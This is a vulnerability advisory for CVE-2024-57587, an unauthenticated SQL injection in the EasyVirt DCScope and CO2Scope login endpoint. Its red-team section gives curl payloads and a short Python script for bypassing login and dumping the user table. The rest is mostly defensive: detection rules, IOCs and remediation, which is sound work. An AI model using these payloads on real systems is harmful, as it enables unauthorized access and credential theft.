CVE-2024-57587

Executive Summary

CVE-2024-57587 is a critical unauthenticated SQL injection vulnerability affecting EasyVirt DCScope (<= 8.6.0) and CO2Scope (<= 1.3.0). The flaw resides in the /api/auth/login endpoint, where the username and password parameters are directly concatenated into SQL queries without sanitization. An attacker can bypass authentication, extract sensitive data, or execute arbitrary SQL commands. No patch is currently available, and the vendor has not released a security advisory. The vulnerability is trivial to exploit and poses a severe risk to exposed instances.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High
• EPSS Score: 0.0% (low exploitation probability, but likely to increase)

Deep Dive & Mechanics

The vulnerability exists in the authentication logic of the EasyVirt DCScope and CO2Scope web interfaces. The /api/auth/login endpoint accepts JSON or form-encoded username and password parameters. These values are directly interpolated into a SQL query without parameterization or escaping.

Vulnerable Code Snippet (Conceptual):

# Pseudocode of vulnerable login handler
def login(request):
    username = request.POST['username']
    password = request.POST['password']
    query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'"
    result = db.execute(query)
    if result:
        return "Login successful"
    else:
        return "Login failed"

An attacker can inject SQL metacharacters to break out of the string context and manipulate the query. For example, using ' OR '1'='1 as the username and any password will bypass authentication.

Impact:

• Authentication Bypass: Gain admin access without valid credentials.
• Data Exfiltration: Extract user credentials, session tokens, and configuration data.
• Privilege Escalation: Modify user roles or create new admin accounts.
• Remote Code Execution (RCE): In some database configurations, xp_cmdshell (MSSQL) or INTO OUTFILE (MySQL) can lead to OS command execution.

Vulnerable vs. Patched Code

Vulnerable (<= 8.6.0 / <= 1.3.0):

# Direct string concatenation
query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'"

Patched (Hypothetical):

# Parameterized query (safe)
cursor = db.cursor()
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password))

No official patch exists. Users must implement input validation and parameterized queries manually or apply a WAF rule.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running EasyVirt DCScope <= 8.6.0 or CO2Scope <= 1.3.0
• Network access to the /api/auth/login endpoint

Exploit Steps:

1. Bypass Authentication:

   curl -X POST https://target/api/auth/login \
     -H "Content-Type: application/json" \
     -d '{"username": "' OR '1'='1", "password": "anything"}'
   

2. Extract Database Version:

   curl -X POST https://target/api/auth/login \
     -H "Content-Type: application/json" \
     -d '{"username": "admin' UNION SELECT @@version,2,3--", "password": "x"}'
   

3. Dump User Table:

   curl -X POST https://target/api/auth/login \
     -H "Content-Type: application/json" \
     -d '{"username": "admin' UNION SELECT username,password,3 FROM users--", "password": "x"}'
   

Automated Exploit (Python):

import requests
import sys

target = sys.argv[1]
payload = {"username": "' OR '1'='1", "password": "anything"}
r = requests.post(f"{target}/api/auth/login", json=payload)
if "successful" in r.text:
    print("[+] Authentication bypassed")
else:
    print("[-] Exploit failed")

Blue Team

Detection:

• Monitor for SQL injection patterns in login parameters (e.g., ' OR, UNION, --).
• Alert on unusual login success rates or admin account creation.

Hunting:

• Search logs for username values containing SQL keywords.
• Correlate failed login attempts with subsequent successful logins from the same IP.

Honeypot:

• Deploy a fake /api/auth/login endpoint that logs all input and triggers alerts.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /api/auth/login with SQL metacharacters in username or password.
  • Response containing database error messages (e.g., You have an error in your SQL syntax).
• Host:
  • Unexpected database queries in logs (e.g., SELECT * FROM users WHERE username = '' OR '1'='1').
  • New admin users created in the application database.
• File:
  • Suspicious files in web-accessible directories (e.g., cmd.aspx, shell.php).

Detection Engineering

YARA Rule

rule CVE_2024_57587_SQLi_Login {
    meta:
        description = "Detects SQL injection attempts against EasyVirt DCScope/CO2Scope login endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-57587"
    strings:
        $s1 = "/api/auth/login" ascii wide nocase
        $s2 = "username" ascii wide nocase
        $s3 = "password" ascii wide nocase
        $sqli1 = "' OR" ascii wide
        $sqli2 = "UNION" ascii wide
        $sqli3 = "SELECT" ascii wide
        $sqli4 = "1=1" ascii wide
    condition:
        $s1 and ($s2 or $s3) and 1 of ($sqli*)
}

Sigma Rule

title: CVE-2024-57587 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection patterns in HTTP requests to EasyVirt login endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/auth/login'
    keywords:
        - "' OR"
        - "UNION"
        - "SELECT"
        - "1=1"
        - "admin'--"
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in passwords (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-57587 SQL Injection Attempt on EasyVirt Login";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/auth/login"; http_uri;
    content:"username"; http_client_body;
    pcre:"/(\x27\x20OR|\x27\x20UNION|\x27\x20SELECT|\x27\x20--)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems: Place EasyVirt instances behind a VPN or firewall, restricting access to trusted IPs only.
2. Apply WAF rules: Block requests containing SQL injection patterns in the login endpoint.
3. Disable unused features: If possible, disable the /api/auth/login endpoint until a patch is available.

Long-Term Fix:

• Parameterized queries: Rewrite the login handler to use prepared statements.
• Input validation: Reject any input containing SQL metacharacters.
• Vendor patch: Monitor EasyVirt for an official update. If none is released, consider migrating to an alternative solution.

Compromise Assessment:

• Review database logs for unauthorized queries.
• Check for new or modified user accounts.
• Scan for webshells or backdoors in the web root.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert